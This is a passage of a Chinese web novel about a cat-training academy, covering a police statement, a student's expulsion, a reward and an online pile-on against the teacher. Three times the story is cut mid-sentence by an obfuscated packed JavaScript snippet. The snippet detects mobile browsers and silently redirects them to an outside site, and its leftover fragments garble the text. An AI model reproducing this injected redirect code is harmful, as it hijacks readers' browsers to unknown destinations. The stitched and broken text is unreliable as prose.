江有鱼一离开灰狸,便忍不住打了个哆嗦:“他不能一起去吗?” 冉晨星为难道:“警察局不能带猫去……江老师,你放心,警察局是很安全的,我们都会保护你的。” 江有鱼却摇摇头,死死抓住灰狸:“不行,我不能离开他,你不知道,他可能会跑掉……” 僵持片刻,灰狸主动站起身来:“我还是跟她一起去吧,人是我打倒的,她当时太慌张了,根本什么都记不起来。” 冉晨星一想也是,勉强点头道:“好吧,那你也一起来吧。” 12.灰狸的决定 夜半的警察局依然灯火通明,冉晨星把两人带到自己的工位旁坐下。 冉晨星的工位很整洁,没有多余的私人物品,只有一张她穿警服抱着小喇叭的合照,小喇叭也戴着一个迷你警员帽子,十分可爱。 看着这张照片,江有鱼终于感到安定了几分。今晚发生了太多事,她疲惫至极,想到回去还要处理地上那些血迹,江有鱼便更加头大。 冉晨星询问了江有鱼今晚的行踪,以及回到家是否发现门窗有被撬开痕迹,见到嫌疑人时,他在做什么,后面又是如何发生打斗,江有鱼都一一作答。 冉晨星将江有鱼所述情况做成笔录,正写着,冉晨星的电话忽然响起。 她接起电话,嗯嗯答应两声,声音陡然变大了:“什么?医院说的?已经确定了?” 电话那边传来了肯定的回答,冉晨星的脸色变得难看起来,把电话挂断了。 她看向江有鱼,咬了咬嘴唇:“案子变复杂了,你的猫把嫌疑人打成了植物人。” 江有鱼感觉自己又像是被卡住了脖子,半晌透不过气来。 植物人?怎么会那么严重呢? 冉晨星看她脸色发白,连忙安慰:“没有你想的那么可怕,他是通缉犯,又表现出了明显的侵害意图,你的猫还击他应该可以算正当防卫的。” “但是,正当防卫的界定很麻烦,现在你必须要跟我把所有细节都说一遍,你们当时是什么状况,你的猫又是怎么打倒他的?” 江有鱼脑中一片混乱:“我只记得他打了我几个耳光,然后就掐住我的脖子……” 至于灰狸是怎么出现的,她真的不清楚。 灰狸接口:“还是我来说吧。” “当时,我从屋顶天窗回到了自己的房间,听到楼下有打架的声音,就下去看怎么回事。” “然后我看见那个嫌犯骑在她身上,用力掐着她脖子,我就悄悄走到他后面,用板凳给他后脑来了一下,想让他放手。” 冉晨星问道:“当时你确定,江老师有生命危险?” 灰狸冷冷道:“我闻到了他身上的恶臭味道,那味道告诉我,他想杀人。” 冉晨星为难了,这可没办法当做证据。她当然知道事情的真相就是这样,但法院那群人可不好对付,若不在一开始的笔录就把对方意图杀人的事情做实,后面就麻烦了。 可是小猫不具有法律地位,说的话只能作为佐证,要是有更有力的证据就好了。 看江有鱼脸上的淤伤,嫌犯定个故意伤害罪是跑不了,要说杀人嘛…… 她把自己的顾虑告诉了江有鱼,江有鱼搓搓脸,哑声道:“我的店里有监控,当时发生的情况应该都拍下来了,不知道算不算证据?” 冉晨星的眼睛一下亮了:“怎么不算?把监控调出来看看!” 江有鱼的手机就可以链接监控云端文件,三人立刻凑在手机屏幕前看了起来。 江有鱼问:“直接调取今天晚上十一点的监控就可以了吧?” 冉晨星摇头:“不行,从头开始看,我们需要看他到底是几点进店的。” 江有鱼开了个32倍速,本以为要到晚上七八点才能看到嫌犯身影,然而到下午四点的时候,便看见一个异样影子闪过。 她立刻暂停,放大辨认,果然是那个嫌犯。 四点多时,她们正在后院里上体育活动课,大厅没有人,这个嫌犯就堂而皇之地从敞开的大门走了进来,快速在屋里转了一圈。 江有鱼看着都一阵后怕,冉晨星也皱紧眉头:“江老师,以后千万不能这么大意,一楼没人的时候,要把门关好。” 江有鱼点头称是,监控视频接着放了下去。 很快,画面上就出现了灰狸与泰哥打架的一幕,灰狸的尾巴又开始急躁地甩动。 他并没有原谅江有鱼为了泰哥电击他的行为,他们之间的帐还没算,只是现在江有鱼出了事,他不愿落井下石而已。 但是,画面上呈现的内容却跟他想象的不太一样。 当时江有鱼背对着他,他并未看见江有鱼具体在做什么,只觉电击剧痛,便想当然地认为,是江有鱼按了惩戒按钮。 然而从视频里看,江有鱼挡在他们中间,双手一齐前伸,似乎要把泰哥推开,灰狸看的清清楚楚,江有鱼完全没有摸手腕、按按钮的动作。 奇怪,那他怎么会被电了呢? 紧接着,泰哥的动作解开了他所有疑惑,那小猫崽子一脚踩在江有鱼手臂上,随即他便倒在地上抽搐,想必就是这一脚踩中了惩戒按钮。 江有鱼没有说谎,他被电击这件事,真的是个意外! 灰狸说不出自己心里是个什么滋味,一时间竟然有些茫然。 酸咸苦辣,原来都是他庸人自扰,江有鱼给他的,自始至终只有甜。 画面再转,七点时,江有鱼急匆匆穿着拖鞋跑出门去,她连锁门都不记得,却不忘带上那块草莓蛋糕。 当时,她一定很希望这块小蛋糕能够把他唤回来吧? 灰狸忽然极为后悔,如果他没有逃跑,江有鱼就不会着急找他,导致忘了锁门,也就不会差点被嫌犯杀死。 虽说嫌犯是早有预谋,但如果他在家,隔着二十米他也能听见嫌犯的脚步声,怎么会让嫌犯闯进自己的地盘呢? 十一点的时候,嫌犯再次出现,他推了推门,发现没锁,便大摇大摆进来,还摸黑去了一趟厨房。 冉晨星问道:“厨房都有什么东西?” 江有鱼愣了:“锅里有两斤炖牛肉……” 冉晨星都气笑了:“行,这小子还真把这当自己家了啊。” 接下来的事情,跟两人方才交代的一致。江有鱼买了非常高清的摄像头,嫌犯脸上那狰狞的杀意一览无余,且掐住江有鱼脖子的时间超过了两分钟,完全可以认定是蓄意杀人。 江有鱼看着监控,回想起方才的生死一刻,身子不自觉地又开始发抖。 冉晨星刚想安慰,却见灰狸伸手,把手机扣了过去。 他低声道:“别怕,我已经把欺负你的人打倒了,任何人都不能再伤害你了。” 江有鱼苍白着脸点点头:“我知道,谢谢你,灰狸。” 忙了一夜,天边已经微露晨曦,江有鱼这才从警察局出来。她的手机已经没电,冉晨星便好心叫了辆车把她们送回家。 江有鱼坐在后座上,这会儿才有时间询问灰狸:“我找了你大半夜都没找到,你怎么回来了?” 灰狸眼睛闪了闪,对于自己当时的目的,实在说不出口。 他只是含糊道:“没什么,不生气了,就回来了。” “是吗?可是你在警察局的时候,明明还很生气!”江有鱼对猫咪的身体语言可是很熟练的,“你不跟我对视,肌肉也绷得很紧,直到看完了那个监控,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895989|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才放松下来……” “你明明在生我的气,却还是救了我,为什么?” 灰狸闷闷道:“要是你死了,警察肯定又要找我的麻烦,我才不想莫名其妙变成杀人犯。” 他说这句话的时候,眼睛连连眨了好几下,一看就是在说谎。 江有鱼看出来了,却不想揭穿。不管是为了什么,灰狸救了她,这是不争的事实。 她感激道:“当时我真的以为自己会死……幸亏有你,我欠你一条命,永远都还不完。” 光是口头表达谢意,根本不够,江有鱼想了想,伸手褪下了自己的监管手环,递给灰狸。 灰狸吃了一惊,疑惑地皱眉:她这是做什么? 她抬起眼睛,里面流淌着纯然的信任:“今天电击了你,我真的很抱歉。虽然我不是故意的,但终究是我的错。其实,我根本用不着把它戴在手上,你根本不会伤害我,不是吗?” 江有鱼把那个手环塞在灰狸手上:“从今天起,我再也不戴这个监管手环。灰狸,它归你保管,从今天起,只要你别离开萌芽社区范围,你想去哪里、想做什么、我都不会过问。” 灰狸拿着那个手环,明明只是十几克重量的东西,在他手里却重于千钧。 这哪里是手环,分明是通往自由的钥匙!他想要了这么久的东西,江有鱼就这么轻易地给他了? 他握住那个手环,不可思议地问道:“你就不怕我跑了?” 江有鱼反问道:“你会跑吗?” 城市的景色在车窗里一格格掠过,高楼大厦,星辰闪烁,如同一部漫画的空镜。 暖黄的路灯洒进车里,照亮了灰狸的脸,江有鱼看见,他的竖瞳一点点变圆了。 最终,他扭过头去,冷哼道:“你那里……其实也不算讨厌。” 江有鱼笑了,在这兵荒马乱的夜晚,这是她第一个笑容。 回到家时,已经是清晨六点多了,江有鱼浑身酸痛不已,但该干的活还得干。 嫌犯的血还淌在地上,凝成暗红的一坨,她看着就头晕,不把血迹擦了,怎么睡觉? 她认命地把拖把拿出来,打算擦地,却被灰狸拦住了。 他抬抬下巴,示意她去楼上睡觉:“你先休息,我来擦地吧。” 江有鱼不可思议道:“你?你会擦地吗?” “擦地有什么难?不就是这样来回拖一拖吗?” “可是……” 灰狸看她还在犹豫,不耐烦道:“随你的便,你要是不怕血,你就擦。” 一句话戳中江有鱼的死穴,她把拖把丢给灰狸:“那就拜托你了!” 说罢,她也有些撑不住了,上楼洗澡睡觉去了。 灰狸仔仔细细拖了地,确保没有一点血迹残留,这才停手。 擦完地板,他发现地上有个蛋糕盒子,打开一看,里面正是江有鱼今晚捧着的草莓蛋糕。 原本那蛋糕应该很漂亮的,可现在,蛋糕摔得稀烂,深红的草莓酱糊成一团,弄得满盒子红红白白,说不出的凄惨。 真难看啊,难看的就像自己一样。 可就算是这么难看的东西,也寄托着“心意”呢。 灰狸捧着那坨蛋糕,毫无嫌弃的意思,一口一口把它吃完了。 有奶油蹭到了他的鼻尖,灰狸伸长舌头,把那一小块奶油舔掉。 虽然很丑,可它还是很甜啊。 13.泰哥退学 江有鱼上了楼,把身上沾血的衣服脱下来扔进垃圾桶,草草冲了一下身子,倒头就睡。 她本以为经过昨夜的事情,自己会做噩梦,但这一觉却睡得昏天黑地,她直到中午一点才醒过来。 她睡着前太累,并没给自己脸上的淤伤上药,本以为醒来时,肯定脸颊肿的像猪头。却没想到,脸颊只是热热的,淤痕居然消了不少。 她愕然地摸着自己的脸,难道她是传说中的绝世高手苗子?不管受了什么伤,都会一夜间完好如初? 这一抬手,她才发现,自己的右手腕上多了一样东西。 这不是监管手环么? 怪不得……原来是灰狸在她睡着时来过了,想必脸上的伤,也是灰狸帮忙处理了。 江有鱼心里涌上一股暖意。 她把手环给了灰狸,灰狸又悄悄还给她,虽然手环还带在她手上,可这一来一往,手环代表的意义却截然不同了。 那不再是一个冷冰冰的监管器了,现在,它成了自己与灰狸互相信任的友好象征。 想到这,江有鱼顿时觉得心情不错。 她哼着歌走下楼,发现灰狸正团在一楼沙发上睡觉。 今日天气晴好,光芒从落地窗涌进来,把整个一楼都照的亮堂堂的。昨天翻倒的桌椅板凳都已回到原位,地板干净的能反出光来,昨夜的混乱如一场梦,太阳一照便烟消云散。 看不出小猫咪干活还真有两把刷子,又细致又认真,比她自己干的还好。 江有鱼蹑手蹑脚地往沙发旁边走去,灰狸的耳朵尖动了动,但没有睁眼,胸腹起伏依然平稳。 这是她第一次看到灰狸的睡颜,阳光就像是最好的滤镜,灰狸脸颊上的疤痕全都淡去了,只有幼细的绒毛极度清晰,一根一根发着光,让这张脸脱去了危险气质,复归了少年天真。 江有鱼忍不住,悄悄拿出手机,打算拍下来自己回味。 她刚打开相机,镜头便被一根毛绒绒的大尾巴挡住了。 灰狸依然没睁眼,但那尾巴明晃晃地表达出来灰狸的意思:只能看,不能拍。 小猫咪还挺在乎形象的…… 不过,江有鱼是个很尊重猫猫感受的好人,她收起手机,笑道:“你怎么不回房间睡觉?” 一问出口,她就感觉说错话了,灰狸昨天把房间砸成那个样子,屋里哪能睡人呢? 她连忙起身:“我再去给你收拾一个房间。” “不必,原来那个就挺好的。”灰狸享受着阳光,尾巴慵懒地一甩一甩。 “可是那个房间不能睡人了,床垫也要换新的……” 灰狸睁开眼,不耐烦道:“我会自己收拾的!我住过的房间都是我的地盘,想把我赶出去,做梦!” 江有鱼看他这么坚决,只好接受他的怪癖,不再管他了。 时间已经不早,还有半小时就要上课,江有鱼也无暇做饭,从储藏间翻出来两袋干巴巴的面包,跟灰狸一起解决午餐。 她一边嚼着面包,一边思考要怎么处理泰哥。 她原本打算向泰哥的主人好好告一状的,泰哥起码要在家关上半个月禁闭,且泰哥的主人必须赔偿灰狸一身新衣服。 这个处罚算是很公正,如果昨晚上没发生那件事,江有鱼就打算照此处理了。 可是现在,江有鱼觉得这个惩罚不够。 她倒不是把昨晚遇到杀人犯的事情怪在泰哥身上,而是她的心态变了。 经过昨夜,灰狸对她来说,已经不仅仅是一个临时监管的学员,她已经把灰狸看成自己的小猫了。 灰狸救了她的命,等灰狸考到了猫德证,她一定会收养灰狸的。 她虽然不能给他大富大贵的日子,但片瓦遮头、粗茶淡饭还是可以的,总比流浪强。 从今之后,他们会一起度过余生,无论遇到什么困难,她都绝不会抛弃他的。 原定的处罚,对猫德学院教师来说算公正,可对于灰狸的主人来说,那就太轻了。 江有鱼咽下面包,心中已经做出了决断。 泰哥三番两次欺负灰狸,已经让她不能容忍,从今之后,她绝不会再给泰哥机会,让他给灰狸添恶心! 两点整,学员们已经到齐,泰哥的主人麦先生也按照约定,来到了猫德学院。 麦先生是个职业拳击手,吨位足有八十公斤,胳膊有江有鱼大腿粗,泰哥坐在主人怀里,无端都小了一圈。 江有鱼吞吞口水,经历了昨天那一场,短期内她对这种壮汉都有点打怵,虽然明知道麦先生不会打她,还是不由得后退一步。 这一退,她的后背撞上一个温热的胸膛,回头一看,灰狸就站在自己背后。 他还穿着看守所制服,袖子挽起,双臂抱胸,露出小臂壮实的肌肉,那一米九的个子好似一座铁塔,满满都是安全感。 看见江有鱼后退一步,灰狸瞪她一眼,目光里满是恨铁不成钢:有我在呢,你怕他干什么?快上啊! 对方是猫仗人势,我方是人仗猫势,两相对比,也算打平。 江有鱼内心立马安定了不少,她请麦先生坐下,尽量客观公正地把泰哥的行为描述给麦先生听。 麦先生听得直皱眉头:“泰哥,你怎么能这么做呢?快向灰狸同学道歉!” 泰哥心里老大不愿意,麦先生粗鲁地推了泰哥屁股一下:“快呀!你耳朵聋了?” 江有鱼却摆摆手:“不必了麦先生,即使今天你强压着泰哥道歉,他心里也不会服气的,以后一离开我的眼睛,肯定又要生事。” 麦先生皱起眉:“那你说,怎么办?” “考虑到泰哥的情况,实在不适合跟灰狸同学一齐上课,而我能力有限,无法协调两个学员间的关系,只能请您另请高明。” 江有鱼轻飘飘扔下一枚炸弹:“今天我请您来,就是跟您当面协商退学手续的,手续办完,请您今天就把泰哥领回去吧。” 泰哥的小爪子一下冰冷了。 他、他、他这是被开除了吗? 猫德学院的退学手续跟人类区别也不大,一般来说,只有劣迹斑斑的学生才会被退学,猫德教师会详细写明退学理由,再找新学校时,对方也会看到这份退学理由。 如果是协商一致退学,自然没什么,可若是猫咪自己的性格问题,那可就很难找下家了,毕竟,谁愿意要问题学生呢? 麦先生的脸色也沉下来了,看江有鱼这意思,显然泰哥的退学理由不会太好看。 这样的话,他就只能把泰哥送到专门教育问题猫的猫德学院去了。专门学院价钱贵不说,入学手续也麻烦得要死,学生也个个凶神恶煞,泰哥去了还不受欺负?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901912|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想到这,麦先生当即反对了:“一个巴掌拍不响,出了这种事情,两只猫都有责任,凭什么只让泰哥退学?” 江有鱼早就料到麦先生有此一问,皮笑肉不笑道:“因为从法律意义上来说,灰狸暂时是我的猫。” “我是学院的经营者,即使灰狸不上课,他也依然要生活在这里,这样一来,他还是要时常跟泰哥碰面。” “何况,我并不认可您说的一个巴掌拍不响,若不是泰哥一再挑衅,事情会变成现在这样吗?既然是他犯错在先,我身为校长让他退学,有什么不对?” 麦先生冷笑:“他是你的猫,你当然向着他说话,怎么能证明是泰哥挑衅在先的?我还说是灰狸挑衅在先呢!” 好好好,打口水仗是吧,江有鱼回头望向其他学院:“同学们,你们说,昨天的事情是谁不对?” 小喇叭一猫当先,喵喵叫道:“是泰哥先撕坏了灰狸的衣服!我都看见了!” 周德福也鼓起勇气:“当时灰狸在爬树,完全都不在屋里,怎么能说是灰狸挑衅呢?” 王子、艾达、白糖也都纷纷跟上,表示自从灰狸第一天上学,泰哥就一直针对他,这是众目所见,完全没有冤枉泰哥。 群众的目光是雪亮的,麦先生见此,也不再坚持分对错,转而想用其他方式解决问题。 他知道江有鱼是个生意人,对生意人来说,有价值的补偿能抵过一切。 “这样吧,泰哥不是弄坏了灰狸的衣服吗?我们赔还不行吗?”麦先生堆出笑容,“我知道泰哥如果留下来,江老师要操心不少,我也不是不明事理的人,一定给您满意的补偿!” 他伸出三根手指:“这个数目,怎么样?” 三千块就想要把这事含糊过去?没门! 江有鱼眼都没眨:“麦先生,您还是没弄懂,我今天请您来,不是跟您商量费用问题的。三千块钱是不少,但是买不来灰狸的好心情。” 她笑容平和,但语气一步不让:“我是猫德学院院长,我能全权决定,哪些学生不适合在这里上课。麦先生,多余的话我就不说了,办退学手续吧。” 麦先生的脸再度沉了下来,他没想到江有鱼这么难缠,居然软硬都不吃! 他猛拍一下桌子,职业拳击手的力道果然不一样,一掌下去,震的桌上纸笔水杯都叮咣乱响,江有鱼吓得一缩脖子,泰哥也飞机耳了。 只有灰狸丝毫不惧,他霍然上前一步,挡在江有鱼身前,冷冷俯瞰麦先生:“你想干什么?” 他虽没有麦先生壮,个子却比麦先生高不少,现在两人一坐一站,他居高临下的优势更加明显,麦先生的气势硬生生被他压了回去。 麦先生毕竟是个守法良民,跟杀人犯完全不一样,最多只是仗着体型优势吓唬一下别人,吓唬不住就算了,不可能真的动武。 见江有鱼有猫撑腰,麦先生嘴角抽动,知道这事情是没法商量了。 只是,就这么认栽,究竟令人心中不爽,他必须让江有鱼也出点血! 麦先生往后一仰,将泰哥抱到自己膝盖上,幻想自己是马龙白兰度,拿腔拿调地道:“既然是退学,那么有些账也得算清楚。” “我交的是半年的学费,现在你只上了一个月的课,就让泰哥退学,你这是违约!按照合同,你必须双倍退费!” 14.奖金从天而降 江有鱼万万没想到,麦先生居然这么不要脸,真是物似主人型,泰哥那大身板小心眼的性格完全随主人。 她压着火气解释道:“合同不是这么算的,我又不是没教导泰哥,泰哥是违反学院规矩被退学,怎能算我违约?” 麦先生却不管这些:“我付了钱,你就必须提供对等的服务;现在你服务不提供了,还想把我的钱昧下?你这是霸王条款,我去市监局告你!” 江有鱼气得冒火,但还是及时冷静了下来。 她知道麦先生是无理取闹,市监局来了也不会站在对方那边,但凡事不怕一万,就怕万一。 江有鱼最不愿意招惹这种睚眦必报的人,倘若对方真跟她卯上,今天投诉市监,明天投诉消防,后天投诉噪音扰民,她每天整改检查都忙不过来,生意还怎么做? 江有鱼现在经营正吃紧,不愿再多惹事,只得打掉牙齿和血吞:“行,算你说的有理,我给你退钱行了吧!不过双倍赔偿不可能,我退你四千,你看怎么样?” 灰狸听到这个数字,耳朵不安地动了一下。 他还记得江有鱼说,她最近经济很拮据,四千,根据他最近学的简单加减法,他知道那是很大笔钱了,差不多是照顾他两个月的津贴。 他从来到这里,就一直在花江有鱼的钱,现在,江有鱼又要为他赔上这么多钱吗? 这不太好,灰狸想,他不愿意欠别人这么多东西。 他贴近江有鱼,悄声道:“要么算了?泰哥就算再讨厌,我忍忍就过去了,以后我不跟他一般见识就行了。” “不行!”江有鱼坚决不同意,话都已经说到这个份上了,泰哥是非走不可,就算给她金山银山,她也绝不会再让灰狸受一点委屈! 不就是四千块么!灰狸难道连这个数字都不值? 她把灰狸扯到身后,大声道:“麦先生,退你四千块钱,相当公平合理,实话跟你讲,我现在卡上就四千块,多了我也没有!要是您还不满意,那就告我去吧!” 虱子多了不痒,债多了不愁,不就是钱么!她就算再怎么沦落,也不可能为了钱去牺牲自家小猫的快乐! 麦先生被她气势镇住,居然没敢再多说什么,接到微信转账后,火速办完了退学手续,带着泰哥走人了。 江有鱼恶狠狠对着他的背影比了个中指,然后把麦先生的微信拉黑删除一条龙,虽然她彻底身无分文了,但换回了眼前清静,也算值了。 她转过脸,努力平复情绪,换上了上课时的温柔笑容:“各位同学不好意思,耽误大家时间了,我们现在开始上文化基础课……” 往日里,这门课灰狸上的最积极,但今天,灰狸罕见的心不在焉。 他不是那些不知人间疾苦的小猫,在大街上讨过生活的他知道,对人类来说,最重要的就是“钱”。 钱能让至亲骨血反目成仇,也能让生死仇敌如胶似漆,没有钱的人类,就会像他这样的流浪猫一样,没吃没穿,连个房子都没得住,只能睡在大街上。 江有鱼现在就没有钱了,以后,她要怎么办呢? 灰狸托着下巴,严肃的思考这个问题。 不过,万一江有鱼真要去流浪,他一定会罩着她的。 他有丰富的流浪经验,还有一个最隐蔽最温暖的大猫洞给她住,他还会帮她赶开所有的流浪狗,保证她能安全地睡个好觉。 还有食物,他知道人类不吃老鼠,但是鸟跟鱼还是能吃的。他捕猎能力好得很,昔日黎明会几百张嘴都能养得活,多她一口也不多。 灰狸就这样坐在椅子上,默默把“江有鱼去流浪”这件事情的细节想的一清二楚,连江有鱼在黎明会的职位都想好了。 就让她做后勤大主管!这可是个有油水的职位,所有食物都能提前尝到,一定不会饿肚子的! 课程结束,猫学员们纷纷离开,灰狸也沉默地站起身来,拍了拍江有鱼的肩膀。 江有鱼回身,疑惑道:“干嘛?” 灰狸紧紧盯着她的眼睛,坚定地承诺:“不要怕,我一定不会让你受苦的!” 等等,这是从何说起?这句话应该她对灰狸说才对吧? 江有鱼莫名其妙,哪里知道他脑子里的弯弯绕,只得尴尬地笑了笑:“呵呵,谢谢。” 不过,灰狸预想的一切都没有发生。 世界上的事情都是说不准的,失之东隅,收之桑榆,也是常事。 冉晨星来接小喇叭放学的时候,给他们带来了一个意外的惊喜:来自警方的嘉奖。 “江老师,这是我们支队长特意让我送来的锦旗!”冉晨星眉飞色舞,“快打开看看吧,是受害者家属专门给灰狸的呢!” “哦?真的?”江有鱼大感兴趣立刻把锦旗展开,只见上面写了两行大字: 好猫捉硕鼠灰狸擒匪徒 “哈哈哈!灰狸你快来看啊!真是太有趣啦!”江有鱼一刹那把所有烦心事都忘了,笑的前仰后合。 她拿着锦旗,就往灰狸的怀里塞:“来来来,你抱着,我来给你拍个照!这可是咱们猫德学院最值得纪念的一天!” 灰狸红着脸嚷道:“好了好了!不要拍!” 他现在也认得几个字了,锦旗上十个字,他能看懂四个,分别是“好猫”和“灰狸”。 人类弄了一面锦旗,夸奖他是好猫! 他灰狸也是道上有一号的人物,这种照片要是流传出去,以后还怎么在江湖上混?别人还不都以为他被招安了? 江有鱼却不理他,硬是给他拍了一张照,这才罢休。 冉晨星看她们高兴,也笑眯眯跟着打趣:“锦旗是给灰狸的,这还有一样东西,是给你的。” 她从怀里掏出一个厚厚的纸包:“江老师,你的猫协助警方捉住了一个逃犯,他在公安系统是有悬赏金的,现在,这一万元的悬赏金就奖给你了。” 一万元! 江有鱼高兴地都要飞起来了,真是祸兮福所倚! 她刚刚还发愁钱的事情呢,要知道,她还欠着石小姐五千元,若是月底再想不到其他办法,她就真得厚着脸皮跟父母要钱了。 现在天降一万奖金,还了石小姐的欠款后,还有五千元做生活费,世界上还有比这更好的事情吗? 她打开那个纸包,看着里面粉红的人民币,眉开眼笑,恨不得啵啵亲上几口。 她拉着冉晨星的手千恩万谢:“你看,这多不好意思啊,还麻烦你跑一趟……晚饭还没吃吧?咱们一起吃点去,今天我请客!” 冉晨星笑着摆摆手,怎奈江有鱼死拉活拽,最终,她还是跟江有鱼一同去吃饭了,灰狸和小喇叭当然也跟着一块赴宴。 为了照顾冉晨星的名声、两只猫的口味和自己的钱包,江有鱼选了个蒸汽海鲜店,点了些平价实惠的鱼虾,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906091|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人两猫埋头吃了个不亦乐乎。 物似主人型这点,果然不假。冉晨星跟小喇叭一样,热心肠又活泼开朗,是个十分讨喜的姑娘。 两个女孩子年龄相仿,又都是爱猫之人,加上她们的猫也称兄道弟,一顿饭吃下来,两人已经成为了关系不错的朋友。 一顿饭花了四百元,宾主尽欢,吃过饭,江有鱼在冉晨星的陪同下,一起去银行把钱存了起来,大家这才告别。 江有鱼回到家,立刻把五千块给石小姐打了过去,石小姐的回复也很干脆,直接给她发了一张照片,上面是撕成碎片的欠条,以示两不相欠。 无债一身轻的感觉真好啊! 江有鱼兴奋地几乎要仰头长啸,不过,她也只爽了这一会儿。 猫德学院的问题不是靠一万元就能解决的,易芊芊虽然为她争取了缓交3个月房租的福利政策,但缓交不等于不交。 她的店铺租金是一个月一万,也就是说,她起码还得准备个三万块才行,考虑到猫猫天才学院的冲击,她也许应该把这个数额放到十万元。 嗨,道路阻且长,磨难还在后头呢,不过,不能泄气。连警察都给她发锦旗了,这可是个大大的宣传机会呀! 这样想着,江有鱼登上了“喵知道”,发布了一条帖子:“当你的猫从逃犯手中保护了你……” 她以亲历者的口吻,将自己昨夜的遭遇都说了一遍,尤其把灰狸的英勇行为夸得天上有地上无。 她还在帖子下面配上了灰狸抱着锦旗的图片,灰狸的脸跟锦旗一样红,羞涩地不敢看镜头,要多可爱就有多可爱。 美滋滋地欣赏了半天,江有鱼便将自己这条帖子发布了出去,还同步分享在了自己的朋友圈,希望能拉到些人头点赞。 随后,她把手机塞到枕头下面,高高兴兴地进入了梦乡。 那边,灰狸在自己的房间,吭哧吭哧地收拾屋子。 歪倒的桌椅,他已经全部扶起来了,断成两截的猫抓柱,他也用胶水粘好了。砸破的穿衣镜无法修复,他便到楼下找到一条盖布,把镜子上的破洞遮住。 现在,除了那个羽绒床垫外,屋子里的一切都基本复原了。 灰狸将那些雪白的鹅毛扫起来,装进一个大塑料袋,放在床上,自己试着躺了上去。 虽然没有原装的床垫好,但还是很柔软,很温暖。 有一个屋子住可真好啊,有一个床铺可真好啊。 这么舒服的日子,才是江有鱼应该过的,去街头流浪什么的,一点都不适合她。 灰狸一想到是自己打倒逃犯,为江有鱼赚到了那一万元,心里就十分得意。 如果他是个人类,现在他会愤愤不平,觉得这笔钱应该归他所有,凭什么给江有鱼。 可是灰狸只是一只小猫咪罢了。 能为自己罩着的人类提供一点帮助,而不是单纯接受她的馈赠,小猫咪觉得很高兴。 整件事情中,唯一让灰狸遗憾的,就是他不能带江有鱼住自己温暖隐蔽的大猫洞了。 想到这里,他从枕头底下掏出江有鱼给他做的老鼠玩偶,把它牢牢搂在怀里,并把被子蒙过头,轻轻在被窝里打起滚来。 瞧,被子里也跟猫洞一样温暖又隐蔽,他跟代表着江有鱼的玩偶一块躺了进来,怎么不算是一起住猫洞呢? 就这样滚着滚着,灰狸也不知不觉睡着了。 15.差评铺天盖地 第二天,江有鱼是被手机的滴滴提示声给震醒的。 她眯着眼,从枕头下面掏出响个不停的手机,发现所有的信息全部来源于“喵知道”。 怎么,难道她红了? 江有鱼兴奋地睁大眼睛,激动地点进自己的账号,发现自己昨晚上发的帖子已经有99+的消息提示。 哦哦哦!这泼天的流量,终于轮到她了! 她满心欢喜地点开消息提示,发现点赞不多,评论巨多。 只不过都是差评。 骑猪上学:“现在的营销号编故事都不用逻辑了,把网友当傻子吗?” 提灯找菜刀:“好家伙,还敢说是警察送来的锦旗,你就不怕一会儿网警过来办你?” 毒液:“你的猫看起来丑死了,还擒歹徒,它自己就是歹徒吧?” …………………… 江有鱼往下划着评论,一颗心冷到谷底。 说她编故事造谣也就算了,毕竟猫猫勇斗歹徒这种事情,确实令人难以置信。 但是说灰狸长得难看,她就忍不了了,怎么能对小猫咪口出恶言! 灰狸不知道长得多好看、多可爱!你们这群不懂欣赏的家伙! 她愤愤回复毒液那条评论:“你懂什么?这叫野性美!一般的猫哪有这种气质?” 能对小猫咪外貌评头论足的人,显然是个穷极无聊的家伙,毒液一见江有鱼回复他,登时来了精神。 他也算是个人才,不知道从哪里扒出来个旧报道的链接,放在评论区里,冷冷嗤笑:“明明就是歹徒,贼猫!当时抓他可是大阵仗,你当互联网没有记忆吗?” 江有鱼点开那个链接,发现是云朵市的社会新闻剪辑,视频里灰狸怒目圆睁,嗷嗷咆哮着拒捕,七八个警察近不得身,看起来真是凶神恶煞。 这个铁证一出,评论区的人更是一边倒地嘲讽江有鱼了。 有说她向红想疯了的,有说她炒作也要讲基本法的,还有人说她用AI生图也不知道筛选素材的…… 手机滴滴滴响个不停,像颗定时炸弹,惹得江有鱼心烦气躁。 毒液更是得意洋洋:我看了你的主页,果然是猫德学院的营销号啊,难怪要打造贼猫一夜之间变好猫的神话,可惜遇到我这个互联网大侦探,你就认栽吧。 随之而来的是各种污言秽语,还有些字眼实在太脏,都被和谐成了星号。 任凭是谁,一大早遇到这种无端谩骂,心情都不会好,江有鱼把手机调成静音,脑袋也直接插进被窝,一点也不想起来了。 屋外传来挠门声,江有鱼无精打采:“请进。” 